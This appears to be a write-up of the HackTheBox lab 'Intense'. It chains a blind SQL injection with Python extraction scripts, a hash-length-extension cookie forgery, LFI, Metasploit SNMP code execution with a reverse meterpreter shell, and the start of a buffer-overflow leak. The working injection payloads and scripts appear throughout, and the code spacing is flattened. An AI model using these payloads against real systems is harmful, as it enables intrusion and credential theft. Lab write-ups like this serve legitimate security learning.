SQL Injection, Hash Length Extension, LFI and binary exploitation
Overview
Intense is definitely the best box I have ever done on HTB, and I loved it every step of the way. We start by doing some general tampering on the website and, combined with source code analysis, we find an SQL injection vulnerability. As there is no controllable output, we can execute a boolean-based blind SQL injection attack and extract the secret character by character.
The hash is not crackable, but rather used to sign a custom JWT token to prove it's authentic. The hashing algorithm in use is vulnerable to a Hash Length Extension attack, which allows us to append our own data to the hash and sign in as the admin. More source code analysis reveals admins have access to an API vulnerable to LFI.
Using the LFI we can grab an SNMP Read-Write Community string, which we can leverage for RCE. From here we exploit a vulnerable binary run by root to gain root access.
Enumeration
Nmap
nmap shows ports 22 and 80 open, so let's have a look at 80.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b4:7b:bd:c0:96:9a:c3:d0:77:80:c8:87:c6:2e:a2:2f (RSA)
| 256 44:cb:fe:20:bb:8d:34:f2:61:28:9b:e8:c7:e9:7b:5e (ECDSA)
|_ 256 28:23:8c:e2:da:54:ed:cb:82:34:a1:e3:b2:2d:04:ed (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Intense - WebApp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Couple things to note right away:
We get given the default credentials guest:guest
The app is open source
I'm going to download the source right away, and while that goes I'll sign in as guest.
First things first, I notice a cookie has been assigned:
The second part of the cookie looks like it's not ASCII. Based on how JWTs normally work, we'll assume it's the cookie signature.
Source Code Analysis
Around now we crack open VS Code and have a look at how the cookie is made, along with possible attack vectors.
The cookies seem to be defined in lwt.py.
defsign(msg):""" Sign message with secret key """returnsha256(SECRET + msg).digest()
This function appears to create the signature we saw as part of the JWT (I'll call it an LWT from now to avoid confusion). How is SECRET defined?
SECRET = os.urandom(randrange(8, 15))
SECRET is completely random, which means that hypothetically we shouldn't be able to forge the LWTs.
The base app.py has an interesting function, however:
@app.route("/submitmessage", methods=["POST"])defsubmitmessage(): message = request.form.get("message", '')iflen(message)>140:return"message too long"ifbadword_in_str(message):return"forbidden word in message"# insert new message in DBtry:query_db("insert into messages values ('%s')"% message)except sqlite3.Error as e:returnstr(e)return"OK"
If we use the Send Message feature of the website, our data gets parsed immediately into a database query. There's no sanitisation involved (with the exception of checking that the message is within 140 characters), so we should be able to do some SQLi.
Note how the function returns the SQLite error if there is one, meaning we should get some feedback:
Now we know there is some SQL injection involved, let's think about what we need to extract. In utils.py, we see that there's a try_login function:
deftry_login(form):""" Try to login with the submitted user info """ifnot form:returnNone username = form["username"] password =hash_password(form["password"]) result =query_db("select count(*) from users where username = ? and secret = ?", (username, password), one=True)if result and result[0]:return{"username": username,"secret":password}returnNone
Now we know there is a column called username and a column called secret. If we go back in the source, we can see that the secret is used for creating the LWTs.
In app.py:
@app.route("/postlogin", methods=["POST"])defpostlogin():# return user's info if exists data =try_login(request.form)if data: resp =make_response("OK")# create new cookie session to authenticate user session = lwt.create_session(data) cookie = lwt.create_cookie(session) resp.set_cookie("auth", cookie)return respreturn"Login failed"
Calling lwt.create_session() with the response:
defcreate_session(data):""" Create session based on dict @data: {"key1":"value1","key2":"value2"} return "key1=value1;key2=value2;" """ session =""for k, v in data.items(): session +=f"{k}={v};"return session.encode()
Extracting the admin's secret might bring us one step closer to successfully logging in as the admin.
SQL Injection
As only errors are returned, I originally attempted to trigger my own custom errors. In the end, though, I went for a boolean-based blind SQLi payload.
Payload Formation
After a big of tampering, I finished on this payload:
yes') UNION SELECT CASE SUBSTR(username,0,1) WHEN 'a' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--
CASE tests the specific thing we give it
SUBSTR(username,0,1) grabs the first character of the username
WHEN 'a' is the other part of CASE - if the value, in this case the result of SUBSTR() is a, it'll then run LOAD_EXTENSION('b'). If not, it essentially does nothing.
LOAD_EXTENSION('b') is just there to trigger the error if the first characters is a as there is likely to be no extension with the name b
Extracting the admin username
We can assume the username is admin, but we should make sure.
We'll loop through username with every printable character and see if it matches. Note that it will also match guest, so there'll be two matches. The way I'll fix this is I'll print it out only if it's not the corresponding letter in the word guest and hope there are no common letters, although there's probably a better way.
If we find a match, we add it to the known string and go again.
from requests import postfrom string import printableguest ='guest_________'# if len(username) > 5 to get no index errorsname =""i =0for i inrange(10):# assuming it's a maximum of 10 longfor char in printable: message =f"yes') UNION SELECT CASE SUBSTR(username,{i +1},1) WHEN '{char}' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--" data ={'message': message} r =post('http://intense.htb/submitmessage', data=data)if r.text =="not authorized":if char != guest[i]: name += charprint(f"char found: {char}")print(name)
Success!
char found: a
char found: d
char found: m
char found: i
char found: n
admin
As expected, the username is admin. Now let's extract the secret.
Extracting the admin secret
from requests import postfrom string import hexdigitsguest ='84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec'admin =''i =0for i inrange(0, len(guest)):for char in hexdigits: message =f"yes') UNION SELECT CASE SUBSTR(secret,{i +1},1) WHEN '{char}' THEN LOAD_EXTENSION('b') ELSE 'yes' END role FROM users--" data ={'message': message} r =post('http://intense.htb/submitmessage', data=data)if r.text =="not authorized":if char != guest[i]: admin += charprint(f"char found: {char}")# if at the end of trying all digits the secret isn't the expected length,# it must have shared a digit with the guest secret and we skipped over it# so we'll just append itiflen(admin)!= (i +1): char = guest[i] admin += charprint(f"char found: {char}")print(admin)
We get the hash f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105, which appears to be the correct size:
Now we have the secret, it's time to work out what we can use it for. The way the cookies are signed is vulnerable to a Hash Length Extension attack. A good explanation can be found here, but the basic theory is that even if you don't know the secret you can append data to the end of the hash simply by continuing the hashing algorithm.
I'll be using hashpumpy to extend the hashes.
from base64 import b64encodefrom requests import getfrom hashpumpy import hashpumpcurrent =b'username=guest;secret=84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec;'signature =b'2f27b9b63baea689f848b5e333426973f97a5e49b9f8f3ad4fac45943b61a372'# change per instance!append =b';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'for x inrange(8, 15): new_signature, value =hashpump(signature, current, append, x) cookie =b64encode(value)+b'.'+b64encode(bytes.fromhex(new_signature)) r =get('http://intense.htb/admin', cookies={'auth' : cookie.decode()})if r.status_code !=403:print(cookie)
The signature changes every reset, so make sure you update it!
There's a rwcommunity called SuP3RPrivCom90. RW Communities can be leveraged for RCE. To do this, I'm going to use the metasploit linux/snmp/net_snmpd_rw_access module.
msf6 exploit(linux/snmp/net_snmpd_rw_access) > set COMMUNITY SuP3RPrivCom90
COMMUNITY => SuP3RPrivCom90
msf6 exploit(linux/snmp/net_snmpd_rw_access) > set RHOSTS intense.htb
RHOSTS => intense.htb
msf6 exploit(linux/snmp/net_snmpd_rw_access) > set LHOST tun0
LHOST => tun0
msf6 exploit(linux/snmp/net_snmpd_rw_access) > run
And we get a meterpreter shell! Our user is Debian-snmp.
Finding Root
If we go into the home directory of user, we see a note_server and a note_server.c. Running netstat -tunlp tells us there is something listening on port 5001.
Well, we've leaked significantly more than the stuff we wrote, that's for sure. Let's completely fill up the buffer, so we can work with the stuff after it. The buffer size is 1024 bytes, plus another 8 for the saved RBP.
Now we've successfully leaked, we can parse the values. Using radare2 and breaking on the ret, the offset between the leaked RIP value there and binary base is 0xf54:
Now we need to somehow read a GOT entry. Since the binary uses write(), it's possible. But first we need to get the copy working in a way that it starts overwriting at exactly the return pointer. With a bit of messing about, I got a function that seemed to work.